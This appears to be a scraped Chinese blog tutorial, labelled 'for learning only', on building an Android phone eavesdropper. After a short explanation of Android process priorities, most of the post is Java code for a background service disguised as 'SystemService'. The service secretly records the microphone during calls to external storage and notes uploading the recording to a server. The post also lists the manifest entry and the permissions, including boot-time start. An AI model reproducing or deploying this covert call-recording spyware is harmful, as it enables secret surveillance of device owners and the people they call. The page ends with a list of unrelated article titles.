安卓电话窃听器小程序(仅用于学习)
来源:互联网 发布:床聊软件骗局 编辑:程序博客网 时间:2024/04/30 09:42
写这个小程序首先需要了解安卓系统的后台服务怎么实现。Service是安卓的四大组件之一。
其次需要了解安卓的进程管理,一个安卓程序关闭后,程序虽然不可见,但是程序的进程往往没有被杀掉,目的是下次启动的时候方便,但是内存资源有限,不可能无限制的保留线程在内存中的状态,所以安卓采用任务栈的方式来管理进程。当内存资源不足时,通过将任务栈中优先级比较低的进程杀掉来释放资源。
安卓有5个进程优先级:
1.前台进程 (Foreground process) 当前用户正在使用的进程
2.可视进程(Visible process) 用户能看到当前进程的界面,但是该进程不一定是用户正在使用的
3.服务进程(Service process) 用户程序的服务组件在后台运行
4.后台进程(Background process) 应用程序没有服务组件在运行,程序处于最小化状态
5.空进程(Empty process) 没有任何的activity
优先级由上到下降低,任务栈先杀进程的话肯定先杀空进程了。
电话窃听器的实现的话就是在后台维护一个Service来监听用户的打电话状态了,将电话录音。
1.后台服务的启动一般使用Intent,并且使用隐式意图。
//开启服务。 Intent intent = new Intent(this,SystemService.class); startService(intent); }
//停止服务。 Intent intent = new Intent(this,SystemService.class); stopService(intent);
2.SystemService是我们实现的功能类,继承自Service。
public class SystemService extends Service { // 电话管理器 private TelephonyManager tm; // 监听器对象 private MyListener listener; //声明录音机 private MediaRecorder mediaRecorder; @Override public IBinder onBind(Intent intent) { return null; } // 服务创建的时候调用的方法 @Override public void onCreate() { // 后台监听电话的呼叫状态。 // 得到电话管理器 tm = (TelephonyManager) this.getSystemService(TELEPHONY_SERVICE); listener = new MyListener(); tm.listen(listener, PhoneStateListener.LISTEN_CALL_STATE); super.onCreate(); } private class MyListener extends PhoneStateListener { // 当电话的呼叫状态发生变化的时候调用的方法 @Override public void onCallStateChanged(int state, String incomingNumber) { super.onCallStateChanged(state, incomingNumber); try { switch (state) { case TelephonyManager.CALL_STATE_IDLE://空闲状态。 if(mediaRecorder!=null){ //8.停止捕获 mediaRecorder.stop(); //9.释放资源 mediaRecorder.release(); mediaRecorder = null; System.out.println("录制完毕,上传文件到服务器。"); } break; case TelephonyManager.CALL_STATE_RINGING://零响状态。 break; case TelephonyManager.CALL_STATE_OFFHOOK://通话状态 //开始录音 //1.实例化一个录音机 mediaRecorder = new MediaRecorder(); //2.指定录音机的声音源 mediaRecorder.setAudioSource(MediaRecorder.AudioSource.MIC); //3.设置录制的文件输出的格式 mediaRecorder.setOutputFormat(MediaRecorder.OutputFormat.DEFAULT); //4.指定录音文件的名称 File file = new File(Environment.getExternalStorageDirectory(),System.currentTimeMillis()+".3gp"); mediaRecorder.setOutputFile(file.getAbsolutePath()); //5.设置音频的编码 mediaRecorder.setAudioEncoder(MediaRecorder.AudioEncoder.DEFAULT); //6.准备开始录音 mediaRecorder.prepare(); //7.开始录音 mediaRecorder.start(); break; } } catch (Exception e) { e.printStackTrace(); } } } // 服务销毁的时候调用的方法 @Override public void onDestroy() { super.onDestroy(); // 取消电话的监听 System.out.println("ondestory"); tm.listen(listener, PhoneStateListener.LISTEN_NONE); listener = null; }}
3.Service要在AndroidMainfest.xml中配置下
<service android:name="com.itheima.phonelistener.SystemService" ></service>
4.权限相关。
<uses-permission android:name="android.permission.READ_PHONE_STATE" /><uses-permission android:name="android.permission.WRITE_EXTERNAL_STORAGE" /><uses-permission android:name="android.permission.RECORD_AUDIO" /><uses-permission android:name="android.permission.RECEIVE_BOOT_COMPLETED" />
1 0
- 安卓电话窃听器小程序(仅用于学习)
- 电话窃听器
- 电话窃听器
- 安卓个人学习笔记---BroadcastReceiver实现短信窃听器
- 安卓菜鸟开发笔记简易窃听器
- Android 电话窃听器
- android电话窃听器
- android 电话窃听器
- Android电话窃听器
- android 之电话窃听器
- android 之电话窃听器
- 安卓-拨打电话的小案例
- 安卓电话拨号器小项目
- Android电话窃听器的实现
- 开机启动项:电话窃听器
- 拨打电话小程序
- 利用Mono.Cecil动态修改程序集来破解商业组件(仅用于研究学习)
- 安卓手电筒小程序
- make menuconfig错误的解决办法
- 傻瓜工具让你秒学H5,亮瞎上司、讨好女票
- Memcache知识点梳理
- mysql中bigint、int、mediumint、smallint 和 tinyint的取值范围
- Ubuntu server 14 安装redis及php redis 扩展
- 安卓电话窃听器小程序(仅用于学习)
- 类似qq的IM聊天应用源码
- mysql 查询字段长度
- 数据的挪移--变得紧凑
- Tomcat 系统架构与设计模式,第 1 部分: 工作原理
- shell随记
- jQuery Validation Plugin 1.11.1 插件自定义错误信息提示位置
- Android 总结1
- 【甘道夫】Apache Hadoop 2.5.0-cdh5.2.0 HDFS Quotas 配额控制